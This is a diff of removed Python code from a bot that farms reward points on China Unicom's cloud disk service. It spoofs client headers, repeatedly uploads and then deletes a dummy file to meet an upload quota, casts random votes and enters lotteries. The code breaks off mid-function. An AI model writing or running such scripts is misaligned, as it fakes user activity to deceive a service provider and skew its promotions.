- known_ids = set(before_ids if before_ids is not None else getattr(self.cloudDisk, 'knownTaskRecordIds', set()))
- new_record = None
- for item in records:
- record_id = str(item.get('id') or '')
- if not record_id or record_id in known_ids:
- continue
- if item.get('taskName') == task_name and not new_record:
- new_record = item
- known_ids.add(record_id)
- self.cloudDisk.knownTaskRecordIds = known_ids
- return new_record
-
- def get_cloud_task_by_code_cloud(self, task_code):
- if not task_code:
- return None
- for task in self.query_cloud_task_list_cloud():
- if task.get('taskCode') == task_code:
- return task
- return None
-
- def finalize_generic_task_cloud(self, task_code, task_name):
- current_task = self.get_cloud_task_by_code_cloud(task_code)
- if not isinstance(current_task, dict):
- return
- finish_text = current_task.get('finishText')
- finished = int(current_task.get('finishCount', 0) or 0)
- required = int(current_task.get('needCount', 0) or 0)
- if finish_text == "待领取":
- self.doPopUp_cloud(task_code, task_name, False)
- return
- if finish_text in ["已完成", "已领取"] or (required > 0 and finished >= required):
- record = self.match_new_cloud_task_record(task_name)
- if record:
- self.log(f"云盘任务: ✅ [{task_name}] 完成, 获得积分: {record.get('earnScoreDesc')}")
- else:
- self.log(f"云盘任务: ✅ [{task_name}] 已完成")
-
- def get_cloud_upload_name_cloud(self):
- return os.environ.get("UNICOM_CLOUD_UPLOAD_FILENAME", "8648").strip() or "8648"
-
- def doUpload_cloud(self, taskCode, taskName, prefix="云盘任务", notify=True):
- token = getattr(self.cloudDisk, 'userToken', '')
- upload_path = self.get_cloud_upload_file_path()
- if not token or not upload_path:
- return False
- file_size = os.path.getsize(upload_path)
- progress_file_size = self.get_cloud_upload_progress_bytes(file_size)
- file_name = self.get_cloud_upload_name_cloud()
- headers = {
- 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0",
- 'Accept-Encoding': "gzip, deflate, br, zstd",
- 'Origin': "https://pan.wo.cn",
- 'Referer': "https://pan.wo.cn/",
- 'Accept-Language': "zh-CN,zh;q=0.9",
- 'Sec-Fetch-Site': "same-site",
- 'Sec-Fetch-Mode': "cors",
- 'Sec-Fetch-Dest': "empty",
- }
- for attempt in range(1, 3):
- request_time = str(int(time.time() * 1000))
- file_info = self.encrypt_data_cloud(json.dumps({
- "spaceType": "0",
- "directoryId": "0",
- "batchNo": datetime.now().strftime("%Y%m%d"),
- "fileName": file_name,
- "fileSize": progress_file_size,
- "fileType": "1",
- }, ensure_ascii=False, separators=(',', ':')), token)
- try:
- with open(upload_path, 'rb') as file_obj:
- files = {
- "uniqueId": (None, f"{request_time}_{''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=6))}"),
- "accessToken": (None, token),
- "fileName": (None, file_name),
- "psToken": (None, "undefined"),
- "fileSize": (None, str(file_size)),
- "totalPart": (None, "1"),
- "partSize": (None, str(file_size)),
- "partIndex": (None, "1"),
- "channel": (None, "wocloud"),
- "directoryId": (None, "0"),
- "fileInfo": (None, file_info),
- "file": (file_name, file_obj, "image/jpeg"),
- }
- res = self.request_direct("POST", self.cloudDiskUrls['upload2C'], headers=headers, files=files, timeout=UNICOM_CLOUD_UPLOAD_TIMEOUT)
- res_json = {}
- try:
- res_json = res.json()
- except:
- pass
- meta_code = str(res_json.get('meta', {}).get('code', ''))
- code = str(res_json.get('code', ''))
- if res.status_code == 200 and (not res_json or meta_code in ('200', '0', '0000') or code in ('200', '0', '0000')):
- self.cloudDisk.uploadedFileCount = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0) + 1
- self.log(f"{prefix}: [{taskName}] 上传成功")
- if taskCode:
- time.sleep(1)
- self.doPopUp_cloud(taskCode, taskName, False, notify=notify)
- return True
- if attempt < 2 and res.status_code >= 500:
- self.log(f"{prefix}: [{taskName}] 上传返回 {res.status_code},重建请求重试一次")
- time.sleep(2)
- continue
- self.log(f"{prefix}: ❌ [{taskName}] 上传失败: HTTP {res.status_code} {res_json if res_json else res.text[:200]}")
- return False
- except Exception as e:
- if attempt < 2:
- self.log(f"{prefix}: [{taskName}] 上传异常,重建请求重试一次: {e}")
- time.sleep(2)
- continue
- self.log(f"{prefix}: ❌ [{taskName}] 上传异常: {e}")
- return False
-
- def doPopUp_cloud(self, taskCode, taskName, is_changer, notify=True):
- if not self.get_userticket_cloud(is_changer): return
- known_ids = set(getattr(self.cloudDisk, 'knownTaskRecordIds', set()))
- time.sleep(5)
- data = self.cloudRequest('doPopUp', {}, is_changer, 'post')
- res = data.get('result')
- if not isinstance(res, dict):
- res = {}
- code = res.get('meta', {}).get('code')
- code2 = res.get('code')
- if str(code) == "0000" or str(code) == "0" or str(code2) == "0000" or str(code2) == "0":
- record = self.match_new_cloud_task_record(taskName, known_ids)
- if record:
- score_desc = record.get('earnScoreDesc') or res.get('data', {}).get('score', 0)
- self.log(f"云盘任务: ✅ [{taskName}] 完成, 获得积分: {score_desc}", notify=notify)
- return
- score = res.get('data', {}).get('score', 0)
- if str(score) not in ('', '0', '0积分'):
- self.log(f"云盘任务: ✅ [{taskName}] 领取到积分: {score},但未在积分明细匹配到当前任务", notify=notify)
- else:
- self.log(f"云盘任务: ✅ [{taskName}] 完成", notify=notify)
- else:
- self.log(f"云盘任务: ❌ [{taskName}] 领取奖励失败: {res}")
-
- def toFinish_cloud(self, taskCode, taskName, is_changer):
- if not self.get_userticket_cloud(is_changer): return False
- data = self.cloudRequest('toFinish', {'taskCode': taskCode}, is_changer, 'post')
- res = data.get('result')
- if not isinstance(res, dict):
- res = {}
- if res.get('code') == "0000": return True
- return False
-
- def dosign_cloud(self, taskCode, taskName):
- if not self.get_userticket_cloud(False): return
- data = self.cloudRequest('dosign', {'taskCode': taskCode}, False, 'post')
- res = data.get('result')
- if not isinstance(res, dict):
- res = {}
- if "0000" in str(res.get('code')) and res.get('data', {}).get('score'):
- self.log(f"云盘任务: ✅ [{taskName}] 完成, 获得积分: {res['data']['score']}", notify=True)
- else:
- self.log(f"云盘任务: ❌ [{taskName}] 失败: {res}")
-
- def get_taskDetail_cloud(self):
- taskList = self.query_cloud_task_list_cloud()
- if taskList:
- names = [t.get('taskName', '?') for t in taskList]
- self.log(f"云盘任务: 任务列表({len(taskList)}): {', '.join(names)}")
- else:
- self.log("云盘任务: 任务列表为空")
- return
- for task in taskList:
- time.sleep(0.5)
- tName = task.get('taskName', '')
- tCode = task.get('taskCode')
- finishText = task.get('finishText')
- finished = int(task.get('finishCount', 0))
- required = int(task.get('needCount', 0))
- if finishText == "待领取":
- self.log(f"云盘任务: [{tName}] 待领取")
- self.doPopUp_cloud(tCode, tName, False)
- continue
- if finishText in ["已完成", "已领取"] or task.get('finishState', False) == True or (required > 0 and finished >= required):
- self.log(f"云盘任务: ✅ [{tName}] 已完成")
- continue
- self.log(f"云盘任务: 开始执行 [{tName}] 进度: {finished}/{required}")
- if "签到" in tName:
- self.toFinish_cloud(tCode, tName, False)
- self.dosign_cloud(tCode, tName)
- elif "与AI通通互动" in tName:
- self.toFinish_cloud(tCode, tName, False)
- self.do_ai_interaction_cloud(tCode, tName)
- elif "微信备份" in tName or "通讯录备份" in tName:
- self.log(f"云盘任务: [{tName}] 暂未适配,当前缺少该任务专用协议,先跳过")
- elif "当月上传容量满1GB" in tName:
- upload_path = self.get_cloud_upload_file_path()
- if not upload_path:
- continue
- start_finished = int(task.get('finishCount', 0) or 0)
- upload_times, target_stage = self.get_cloud_upload_times(task, os.path.getsize(upload_path))
- if upload_times <= 0:
- self.log(f"云盘任务: [{tName}] 当前阶段已完成,跳过上传")
- continue
- extra_times = max(5, (upload_times + 9) // 10)
- max_upload_times = upload_times + extra_times
- self.toFinish_cloud(tCode, tName, False)
- self.log(f"云盘任务: 开始执行1GB上传任务(本次目标阶段 {target_stage}/{max(int(task.get('needCount', 0) or 0), target_stage)},预计{upload_times}次,最多{max_upload_times}次,达到本阶段即停止)...")
- upload_ok = 0
- for upload_i in range(max_upload_times):
- self.log(f"云盘任务: 第{upload_i + 1}/{max_upload_times}次上传")
- if self.doUpload_cloud(tCode, tName, notify=False):
- upload_ok += 1
- should_check = upload_ok > 0 and ((upload_i + 1) >= upload_times or upload_ok % 5 == 0)
- if should_check:
- current_task = self.get_cloud_task_by_code_cloud(tCode)
- if current_task:
- current_finished = int(current_task.get('finishCount', 0) or 0)
- current_required = int(current_task.get('needCount', 0) or 0)
- self.log(f"云盘任务: [{tName}] 当前阶段进度 {current_finished}/{current_required}")
- if current_finished >= target_stage or current_task.get('finishText') in ["已完成", "已领取"]:
- reached_text = "已达到本阶段目标" if current_finished < current_required else "已达到本月目标"
- self.log(f"云盘任务: ✅ [{tName}] {reached_text},停止继续上传", notify=True)
- break
- time.sleep(2)
- current_task = self.get_cloud_task_by_code_cloud(tCode)
- current_finished = int(current_task.get('finishCount', 0) or 0) if current_task else start_finished
- stage_status = "已完成本阶段" if current_finished >= target_stage else "未完成本阶段"
- self.log(f"云盘任务: ✅ [{tName}] 上传完成 {upload_ok}/{max_upload_times} 次,{stage_status}", notify=True)
- else:
- self.run_generic_cloud_task(tCode, tName)
-
- def query_all_files_cloud(self, space_type="0", parent_directory_id="0", page_num=0, page_size=500):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return {}
- res = self.request_wohome_dispatcher_cloud("QueryAllFiles", {
- "clientId": "1001000035",
- "spaceType": str(space_type),
- "sortRule": "0",
- "parentDirectoryId": str(parent_directory_id),
- "pageNum": str(page_num),
- "pageSize": int(page_size),
- }, timeout=15)
- rsp = res.get('RSP', {})
- if str(rsp.get('RSP_CODE')) != '0000' or not rsp.get('DATA'):
- return {}
- try:
- key_padded = token.ljust(16)[:16]
- cipher = AES.new(key_padded.encode(), AES.MODE_CBC, b"wNSOYIB1k1DjY5lA")
- plain = unpad(cipher.decrypt(base64.b64decode(rsp['DATA'])), AES.block_size, style="pkcs7").decode('utf-8', errors='ignore')
- return json.loads(plain)
- except Exception as e:
- self.log(f"云盘任务: 查询根目录文件失败: {e}")
- return {}
-
- def request_wohome_dispatcher_cloud(self, key, param, timeout=15, client_id="1001000035"):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return {}
- timestamp = str(int(time.time() * 1000))
- req_seq = str(random.randint(10000, 99999))
- payload = {
- "header": {
- "key": key,
- "resTime": timestamp,
- "reqSeq": req_seq,
- "channel": "wohome",
- "version": "",
- "sign": hashlib.md5(f"{key}{timestamp}{req_seq}wohome".encode()).hexdigest().upper(),
- },
- "body": {
- "param": self.encrypt_data_cloud(json.dumps(param, ensure_ascii=False, separators=(',', ':')), token),
- "secret": True,
- },
- }
- headers = {
- 'User-Agent': 'LianTongYunPan/5.1.2 (Android 10)',
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'Access-Token': token,
- 'accesstoken': token,
- 'Client-Id': str(client_id),
- }
- try:
- return self.session.post(self.cloudDiskUrls['ltypDispatcher'], json=payload, headers=headers, timeout=timeout).json()
- except Exception as e:
- self.log(f"云盘任务: [{key}] 请求失败: {e}")
- return {}
-
- def list_upload_named_files_cloud(self, max_pages=4):
- upload_name = self.get_cloud_upload_name_cloud().strip()
- if not upload_name:
- return []
- pattern = re.compile(rf"^{re.escape(upload_name)}(?:\(\d+\))?(?:\.[^.]+)?$")
- matched = []
- seen = set()
- page_num = 0
- while page_num < max_pages:
- data = self.query_all_files_cloud("0", "0", page_num, 500)
- page_files = data.get('files') or []
- if not page_files:
- break
- for item in page_files:
- file_id = item.get('id')
- file_name = str(item.get('name', '')).strip()
- if file_id and file_id not in seen and pattern.match(file_name):
- seen.add(file_id)
- matched.append(item)
- if len(page_files) < 500:
- break
- page_num += 1
- return matched
-
- def delete_root_files_cloud(self, items, space_type="0"):
- targets = []
- for item in items or []:
- item_id = str(item.get('id', '')).strip()
- if not item_id:
- continue
- targets.append((item_id, str(item.get('type', '1')) == '0'))
- deleted = 0
- for offset in range(0, len(targets), 100):
- batch = targets[offset:offset + 100]
- dir_list = [item_id for item_id, is_dir in batch if is_dir]
- file_list = [item_id for item_id, is_dir in batch if not is_dir]
- if not dir_list and not file_list:
- continue
- res = self.request_wohome_dispatcher_cloud("DeleteFile", {
- "spaceType": str(space_type),
- "vipLevel": "0",
- "dirList": dir_list,
- "fileList": file_list,
- "clientId": "1001000035",
- }, timeout=20)
- rsp = res.get('RSP', {})
- batch_idx = offset // 100 + 1
- if str(rsp.get('RSP_CODE')) == '0000':
- deleted += len(batch)
- self.log(f"云盘任务: 第{batch_idx}批根目录删除成功,共{len(batch)}个文件")
- else:
- self.log(f"云盘任务: 第{batch_idx}批根目录删除失败: {rsp.get('RSP_DESC') or res}")
- time.sleep(1)
- return deleted
-
- def clean_duplicate_files_cloud(self):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return
- self.log("云盘任务: 开始清理云盘重复文件")
- cloud_headers = {
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/5.1.0 (iPhone; iOS 16.6)",
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'Accept-Encoding': 'br;q=1.0, gzip;q=0.9, deflate;q=0.8',
- 'Access-Token': token, 'X-YP-Access-Token': token,
- 'Client-Id': '1001000035', 'X-YP-Client-Id': '1001000035',
- 'App-Version': 'yp-app/5.1.0', 'app-type': 'liantongyunpanapp',
- 'Sys-Version': 'iOS/16.6',
- }
- uploaded_count = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0)
- retry_count = 6 if uploaded_count > 0 else 1
- task_id = ""
- file_ids = []
- for attempt in range(1, retry_count + 1):
- try:
- res = self.session.post(
- self.cloudDiskUrls['getScanState'], json={
- "pathLevelList": [{"levelType": "space", "levelName": "个人云", "busId": "0"}]
- }, headers=cloud_headers, timeout=10,
- ).json()
- except Exception as e:
- self.log(f"云盘任务: 获取扫描状态失败: {e}")
- return
- if res.get('meta', {}).get('code') != '200':
- self.log("云盘任务: 获取扫描状态失败")
- return
- task_id = ""
- for item in res.get('result', {}).get('subTaskList', []):
- if item.get('taskId'):
- task_id = item['taskId']
- break
- if task_id:
- file_ids = []
- page = max_page = 1
- while page <= max_page:
- try:
- page_res = self.session.post(
- self.cloudDiskUrls['getCleanData'], json={
- "pageNum": page, "taskId": task_id, "type": 3, "pageSize": 50,
- }, headers=cloud_headers, timeout=10,
- ).json()
- except Exception as e:
- self.log(f"云盘任务: 获取第{page}页清理数据失败: {e}")
- return
- if page_res.get('meta', {}).get('code') != '200':
- break
- max_page = page_res.get('result', {}).get('maxPageNum', 1)
- for group in page_res.get('result', {}).get('fileGroupList', []):
- for fi, file_item in enumerate(group.get('fileList', [])):
- if fi <= 0 or not file_item.get('fileId'):
- continue
- file_ids.append({"fileId": file_item['fileId'], "spaceType": file_item.get('spaceType', '0')})
- page += 1
- if file_ids:
- self.log(f"云盘任务: 第{attempt}次重复扫描完成,共{len(file_ids)}个重复文件")
- break
- if attempt < retry_count:
- wait_seconds = min(5 + (attempt - 1) * 2, 12)
- self.log(f"云盘任务: 第{attempt}次重复扫描未发现可清理文件,{wait_seconds}秒后重试")
- time.sleep(wait_seconds)
- if not file_ids:
- named_files = self.list_upload_named_files_cloud() if uploaded_count > 0 else []
- if named_files:
- preview = "、".join(item.get('name', '') for item in named_files[:6]).strip("、")
- more = "..." if len(named_files) > 6 else ""
- self.log(f"云盘任务: 智能清理未识别到重复项,但根目录检测到{len(named_files)}个[{self.get_cloud_upload_name_cloud()}]系列文件: {preview}{more}")
- deleted = self.delete_root_files_cloud(named_files)
- self.cloudDisk.uploadedFileCount = 0
- if deleted:
- self.log(f"云盘任务: 已通过官方删除接口清理{deleted}个[{self.get_cloud_upload_name_cloud()}]系列文件")
- else:
- self.log(f"云盘任务: [{self.get_cloud_upload_name_cloud()}]系列文件删除失败")
- else:
- self.cloudDisk.uploadedFileCount = 0
- self.log("云盘任务: 无重复文件")
- return
- for offset in range(0, len(file_ids), 100):
- batch = file_ids[offset:offset + 100]
- batch_idx = offset // 100 + 1
- try:
- batch_res = self.session.post(
- self.cloudDiskUrls['batchClean'], json={
- "fileList": batch, "taskType": 3, "taskId": task_id,
- }, headers=cloud_headers, timeout=30,
- ).json()
- code = batch_res.get('meta', {}).get('code')
- self.log(f"云盘任务: 第{batch_idx}批清理: {'成功' if code == '200' else '失败'}")
- except Exception as e:
- self.log(f"云盘任务: 第{batch_idx}批清理失败: {e}")
- time.sleep(2)
- named_files = self.list_upload_named_files_cloud() if uploaded_count > 0 else []
- if named_files:
- preview = "、".join(item.get('name', '') for item in named_files[:6]).strip("、")
- more = "..." if len(named_files) > 6 else ""
- self.log(f"云盘任务: 智能清理后根目录仍检测到{len(named_files)}个[{self.get_cloud_upload_name_cloud()}]系列文件: {preview}{more}")
- deleted = self.delete_root_files_cloud(named_files)
- if deleted:
- self.log(f"云盘任务: 已通过官方删除接口补充清理{deleted}个[{self.get_cloud_upload_name_cloud()}]系列文件")
- self.cloudDisk.uploadedFileCount = 0
- self.log("云盘任务: 云盘重复文件清理完成")
-
- def vote_cloud(self):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return
- ypid_list = getattr(self.cloudDisk, 'ypid_list', [])
- if not ypid_list:
- return
- headers = {
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/4.0.2 (iPhone; iOS 16.6)",
- 'Sec-Fetch-Mode': 'cors',
- 'clientId': '1001000165',
- 'Origin': 'https://panservice.mail.wo.cn',
- 'Sec-Fetch-Dest': 'empty',
- 'Sec-Fetch-Site': 'same-origin',
- 'X-YP-Access-Token': token, 'token': token,
- 'X-YP-Client-Id': '1001000165',
- 'X-SH-Access-Token': '',
- 'source-type': 'woapi',
- }
- for idx in range(3):
- try:
- self.session.post(
- self.cloudDiskUrls['vote'], json={"activityId": "MjQ=", "id": random.choice(ypid_list)},
- headers=headers, timeout=10,
- )
- self.log(f"云盘任务: 第{idx + 1}次投票")
- except Exception as e:
- self.log(f"云盘任务: 第{idx + 1}次投票失败: {e}")
- time.sleep(1)
-
- def build_cloud_lottery_headers(self):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return {}
- return {
- 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)",
- 'Accept': 'application/json, text/plain, */*',
- 'source-type': 'woapi',
- 'Sec-Fetch-Site': 'same-origin',
- 'clientId': '1001000165',
- 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
- 'token': token,
- 'X-SH-Access-Token': '',
- 'Sec-Fetch-Mode': 'cors',
- 'X-YP-Access-Token': token,
- 'X-YP-Client-Id': '1001000165',
- 'X-Requested-With': 'com.chinaunicom.bol.cloudapp',
- 'X-YP-GRAY-FLAG': 'undefined',
- 'Sec-Fetch-Dest': 'empty',
- }
-
- def build_cloud_hometown_headers(self, extra=None):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return {}
- headers = {
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/5.1.0 (iPhone; iOS 16.6)",
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
- 'source-type': 'woapi',
- 'Sec-Fetch-Site': 'same-origin',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'clientId': '1001000165',
- 'X-YP-Client-Id': '1001000165',
- 'X-YP-Access-Token': token,
- 'token': token,
- 'X-SH-Access-Token': '',
- 'X-YP-GRAY-FLAG': 'undefined',
- 'requestTime': str(int(time.time() * 1000)),
- }
- if extra:
- headers.update(extra)
- return headers
-
- def build_cloud_activity_headers(self, activity_id=""):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return {}
- headers = {
- 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)",
- 'Accept': 'application/json, text/plain, */*',
- 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
- 'source-type': 'woapi',
- 'clientId': '1001000165',
- 'client-Id': '1001000165',
- 'token': token,
- 'accessToken': token,
- 'access-token': token,
- 'X-YP-Access-Token': token,
- 'X-YP-Client-Id': '1001000165',
- 'X-SH-Access-Token': '',
- 'X-Requested-With': 'com.chinaunicom.bol.cloudapp',
- 'X-YP-GRAY-FLAG': 'undefined',
- 'Origin': 'https://panservice.mail.wo.cn',
- }
- if activity_id:
- point_ticket = getattr(self.cloudDisk, 'ticket', '')
- mobile = getattr(self, 'account_mobile', '') or getattr(self, 'mobile', '')
- if activity_id == 'MjU=' and point_ticket and mobile:
- headers['Referer'] = (
- "https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive"
- "?touchpoint=300200030001&type=06"
- f"&ticket={point_ticket}"
- "&version=iphone_c%4012.0801"
- f"×tamp={int(time.time() * 1000)}"
- f"&desmobile={mobile}"
- "&num=0&postage=01addda9786dc7eb5ca0eacd9acd664a"
- f"&activityId={quote(activity_id)}&clientid=1001000003"
- f"&userNumber={mobile}"
- )
- else:
- headers['Referer'] = f"https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive?touchpoint=300300010005&activityId={quote(activity_id)}&token={token}"
- return headers
-
- def get_cloud_lottery_draw_count(self, times_res):
- result = times_res.get('result')
- if isinstance(result, int):
- return result
- if not isinstance(result, dict):
- return 0
- draw_count = result.get('times')
- if draw_count is None:
- for key in ['lotteryTimes', 'freeTimes', 'drawTimes', 'count']:
- if key in result:
- draw_count = result.get(key)
- break
- try:
- return int(draw_count or 0)
- except:
- return 0
-
- def query_cloud_phone_location_cloud(self):
- province_code = str(getattr(self.cloudDisk, 'hometownProvinceCode', '') or '')
- province_name = str(getattr(self.cloudDisk, 'hometownProvinceName', '') or '')
- if province_code and province_name:
- return province_code, province_name
- token = getattr(self.cloudDisk, 'userToken', '')
- mobile = getattr(self, 'account_mobile', '') or getattr(self, 'mobile', '')
- headers = self.build_cloud_hometown_headers({"X-SH-Access-Token": ""})
- if not token or not mobile or not headers:
- return "", ""
- try:
- res = self.session.post(
- self.cloudDiskUrls['queryPhoneLocation'],
- json={"mobile": self.encrypt_data_cloud(mobile, "CBWGjFHjZdhTf7h8")},
- headers=headers,
- timeout=10,
- ).json()
- if str(res.get('meta', {}).get('code')) == '200':
- result = res.get('result') or {}
- province_code = str(result.get('provinceCode') or '')
- province_name = str(result.get('provinceName') or '')
- if province_code and province_name:
- self.cloudDisk.hometownProvinceCode = province_code
- self.cloudDisk.hometownProvinceName = province_name
- self.log(f"家乡打卡 - 归属地: {province_name}({province_code})")
- return province_code, province_name
- self.log(f"云盘任务: 查询号码归属地失败: {res}")
- except Exception as e:
- self.log(f"云盘任务: 查询号码归属地异常: {e}")
- return "", ""
-
- def get_cloud_activity_province(self):
- province_code = str(getattr(self.cloudDisk, 'hometownProvinceCode', '') or '')
- province_name = str(getattr(self.cloudDisk, 'hometownProvinceName', '') or '')
- if province_code and province_name:
- return province_code, province_name
- province_code, province_name = self.query_cloud_phone_location_cloud()
- if province_code and province_name:
- return province_code, province_name
- if (not hasattr(self, 'city_info')) or (not self.city_info):
- self.get_city_info()
- if not isinstance(getattr(self, 'city_info', None), list) or not self.city_info:
- return "", ""
- city = self.city_info[0] if isinstance(self.city_info[0], dict) else {}
- province_code = str(city.get('proCode') or city.get('standardProvinceCode') or "").lstrip('0')
- province_name = str(city.get('proName') or city.get('provinceName') or "")
- if province_code and province_name:
- self.cloudDisk.hometownProvinceCode = province_code
- self.cloudDisk.hometownProvinceName = province_name
- return province_code, province_name
-
- def query_cloud_lottery_times_cloud(self, activity_id, headers=None):
- if not activity_id:
- return None
- use_headers = dict(headers or self.build_cloud_lottery_headers())
- if not use_headers:
- return None
- use_headers['requestTime'] = str(int(time.time() * 1000))
- res = self.session.get(self.cloudDiskUrls['lottery_times'], params={"activityId": activity_id}, headers=use_headers, timeout=10).json()
- self.cloudDisk.lotteryTimesResult = res
- return res
-
- def ensure_cloud_lottery_activity_open_cloud(self, activity_id):
- headers = self.build_cloud_activity_headers(activity_id)
- if not headers:
- return False
- try:
- check_headers = dict(headers)
- check_headers['requestTime'] = str(int(time.time() * 1000))
- check_res = self.session.get(self.cloudDiskUrls['checkActivityStatus'], params={"activityId": activity_id}, headers=check_headers, timeout=10).json()
- if str(check_res.get('meta', {}).get('code')) == '200' and str(check_res.get('result', {}).get('state')) == '1':
- if activity_id == 'MjU=':
- self.log("家乡打卡 - 开启结果:开启成功")
- return True
- except Exception as e:
- self.log(f"云盘任务: 查询抽奖活动开启状态失败: {e}")
- province_code, province_name = self.get_cloud_activity_province()
- if not province_code or not province_name:
- self.log("云盘任务: 开启抽奖活动失败,缺少省份信息")
- return False
- try:
- open_headers = dict(headers)
- open_headers['requestTime'] = str(int(time.time() * 1000))
- res = self.session.post(
- self.cloudDiskUrls['openActivity'],
- json={"activityId": activity_id, "provinceCode": province_code, "provinceName": province_name},
- headers=open_headers,
- timeout=10,
- ).json()
- if str(res.get('meta', {}).get('code')) == '200' and str(res.get('result', {}).get('state')) == '1':
- if activity_id == 'MjU=':
- self.log("家乡打卡 - 开启结果:开启成功")
- else:
- self.log(f"云盘任务: 抽奖活动[{activity_id}] 已开启")
- return True
- if activity_id == 'MjU=':
- message = res.get('msg') or res.get('meta', {}).get('message') or '开启失败'
- self.log(f"家乡打卡 - 开启结果:{message}")
- else:
- self.log(f"云盘任务: 开启抽奖活动失败: {res}")
- except Exception as e:
- self.log(f"云盘任务: 开启抽奖活动异常: {e}")
- return False
-
- def query_cloud_lottery_record_cloud(self, activity_id):
- if not activity_id:
- return None
- headers = self.build_cloud_hometown_headers() if activity_id == 'MjU=' else self.build_cloud_lottery_headers()
- if not headers:
- return None
- try:
- response = self.session.get(
- f"https://panservice.mail.wo.cn/activity/lottery/recordList?activityId={quote(activity_id)}",
- headers=headers,
- timeout=10,
- )
- result = response.json() if response.status_code == 200 else None
- if not isinstance(result, dict):
- return None
- if str(result.get('meta', {}).get('code')) == '200':
- record_list = result.get('result') or []
- prize = record_list[0].get('prizeName', '暂无抽奖记录') if record_list else '暂无抽奖记录'
- if activity_id == 'MjU=':
- self.log(f"家乡打卡 - 上次抽奖:{prize}")
- return prize
- except Exception as e:
- self.log(f"云盘任务: 查询抽奖记录异常: {e}")
- return None
-
- def do_activity_upload_cloud(self, activity_id):
- token = getattr(self.cloudDisk, 'userToken', '')
- upload_path = self.get_cloud_upload_file_path()
- if not token or not upload_path:
- return False
- file_size = os.path.getsize(upload_path)
- file_name = self.get_cloud_upload_name_cloud()
- file_info = self.encrypt_data_cloud(json.dumps({
- "batchNo": datetime.now().strftime("%Y%m%d%H%M%S"),
- "fileName": file_name,
- "fileSize": file_size,
- "fileType": 1,
- "directoryId": "0",
- "spaceType": "0",
- }, ensure_ascii=False, separators=(',', ':')), token)
- headers = {
- 'User-Agent': "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.7499.146 Mobile Safari/537.36/woapp LianTongYunPan/5.1.2 (Android 10)",
- 'Accept': '*/*',
- 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
- 'Origin': 'https://panservice.mail.wo.cn',
- 'Referer': f"https://panservice.mail.wo.cn/h5/activitymobile/fileUploadActive?touchpoint=300300010005&activityId={quote(activity_id)}&token={token}",
- 'X-Requested-With': 'com.chinaunicom.bol.cloudapp',
- 'accessToken': token,
- 'access-token': token,
- 'client_id': '1001000165',
- 'X-YP-GRAY-FLAG': 'undefined',
- 'requestTime': str(int(time.time() * 1000)),
- }
- try:
- if activity_id == 'MjU=':
- self.log("开始家乡打卡文件上传...")
- with open(upload_path, 'rb') as file_obj:
- files = {
- "uniqueId": (None, f"{int(time.time() * 1000)}_{random.random()}"),
- "accessToken": (None, token),
- "psToken": (None, "undefined"),
- "totalPart": (None, "1"),
- "partSize": (None, str(file_size)),
- "partIndex": (None, "1"),
- "channel": (None, "wocloud"),
- "directoryId": (None, "0"),
- "fileName": (None, file_name),
- "fileSize": (None, str(file_size)),
- "fileInfo": (None, file_info),
- "file": (file_name, file_obj, "image/jpeg"),
- }
- res = self.request_direct("POST", self.cloudDiskUrls['activityUpload2C'], headers=headers, files=files, timeout=UNICOM_CLOUD_UPLOAD_TIMEOUT)
- res_json = {}
- try:
- res_json = res.json()
- except:
- pass
- code = str(res_json.get('code', ''))
- meta_code = str(res_json.get('meta', {}).get('code', ''))
- if res.status_code == 200 and (code in ('200', '0', '0000') or meta_code in ('200', '0', '0000')):
- self.cloudDisk.uploadedFileCount = int(getattr(self.cloudDisk, 'uploadedFileCount', 0) or 0) + 1
- if activity_id == 'MjU=':
- self.log("家乡打卡 - 上传成功")
- else:
- self.log("云盘任务: 活动上传成功,正在刷新抽奖次数...")
- return True
- if activity_id == 'MjU=':
- self.log(f"家乡打卡 - 上传失败: HTTP {res.status_code}")
- else:
